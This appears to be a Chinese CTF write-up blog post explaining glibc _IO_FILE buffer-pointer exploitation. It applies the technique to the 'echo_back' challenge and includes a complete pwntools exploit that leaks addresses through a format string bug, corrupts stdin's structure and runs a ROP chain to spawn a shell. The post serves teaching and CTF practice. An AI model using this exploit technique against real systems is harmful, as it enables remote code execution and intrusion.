针对IO的利用

22 篇文章 4 订阅

简介

正常情况下我们用户的输入长度和写入位置都在受到程序限制的,不可能让用户任意地址任意长度写入;
但是利用特定的漏洞,我们可以修改到IO结构体中的指针,就可以绕过上面的那些约束从而getshell…

_IO_FILE

在结构体_IO_FILE当中有很多关键指针:
_IO_FILE
结合源码:

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

我们可以总结出来的就是:
fp->_IO_read_ptr == fp->_IO_read_end时,通过系统调用向fp->_IO_buf_base处写入读取的数据,并且长度为fp->_IO_buf_end - fp->_IO_buf_base
所以只要我们可以控制这4个指针,那么基本就可以任意地址任意写了;

实例

这里我们以攻防世界的echo_back来看具体的应用;
程序分析:
功能
主要有2个功能,一个设置name功能,一个回显功能(有明显的格式化字符串漏洞)
通过ida分析:
main
echo
set_name
我们发现set_name只能设置一次,回显功能也要求最对输入7个长度的字符串,所以我们很难直接利用格式字符串漏洞进行攻击,因为我们只能最多写入改变4个字节的数据;
但是我们通过调试发现我们set的name会在栈上面,通过%16$p等可以访问到;
stack
这个可以想到去覆盖_IO_buf_base的值,而这个题目中可以利用是因为当覆盖为00时,指针刚好好指向了stdin内部地址,所以可以再次覆写_IO_buf_base进一步造成内存任意写,而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr ++

思路

所以基本思路就是:

  1. 先用echo功能获得基本的地址信息(libc,pie,stack等);
  2. name设置为_IO_buf_base的地址,利用格式字符串漏洞将最低位修改为00,此时_IO_buf_base指向_IO_2_1_stdin_内部_IO_write_base的位置;
  3. 此时通过scanf输入的字符串将写入_IO_2_1_stdin_内部,所以可以再次修改_IO_buf_base的值为栈的返回地址,为之后的ROP做准备;
  4. 然后反复调用getchar()函数,即程序的echo功能,让fp->_IO_read_ptr == fp->_IO_read_end
  5. 然后我们再次调用scanf函数的时候就可以覆盖返回值了,即写入我们rop链getshell…

EXP

# -*- coding: utf-8 -*-
from pwn import *

context(os='linux',arch='amd64')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

name = "./pwn"
#p = process(name)
p = remote("111.198.29.45",40705)
elf = ELF(name)
#libc=ELF('/usr/lib/i386-linux-gnu/libc-2.24.so')
libc=ELF('./libc.so.6')
if args.G:
    gdb.attach(p)

def set_name(nm):
    p.recvuntil("choice>> ")
    p.sendline("1")
    p.recvuntil("name:")
    p.send(nm)

def echo(num,data):
    p.recvuntil("choice>> ")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline(num)
    p.send(data)

echo("8","%7$p")
p.recvuntil("anonymous say:")
stack_addr = int(p.recv(14),16) 
success("stack_addr: " + hex(stack_addr))

echo("8","%14$p")
p.recvuntil("anonymous say:")
pro_addr = int(p.recv(14),16) - 0xd30
success("pro_addr: " + hex(pro_addr))

echo("8","%19$p")
p.recvuntil("anonymous say:")
libc_addr = int(p.recv(14),16) - 0x020830 
stdin_addr = libc_addr + 0x3c48e0 
io_write_addr = libc_addr + 0x3c4963
system_addr = libc_addr + 0x045390 
bin_sh = libc_addr + 0x18cd57 
set_name(p64(stdin_addr + 7*8)[:-1])
echo("8","%16$hhn")

pay = p64(io_write_addr)*3 + p64(stack_addr-0x18) + p64(stack_addr-0x18 + 0x64)
p.sendlineafter('choice>>','2')  
p.recvuntil("length:")
p.send(pay)
sleep(1)
p.sendline("")

for i in range(len(pay)-1):
    p.recvuntil("choice>> ")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline(str(i))

sleep(1)
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
pay1 = p64(pro_addr + 0xd93) + p64(bin_sh) + p64(system_addr)
p.send(pay1)
p.sendline('')
p.interactive()

总结

pwndbg> p _IO_2_1_stdin_
pwndbg> p stdin         
$4 = (_IO_FILE *) 0x7ffff7b848e0 <_IO_2_1_stdin_>
pwndbg> p *(struct _IO_FILE *) 0x7ffff7b848e0

可以查看到结构体的内容,更方便;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值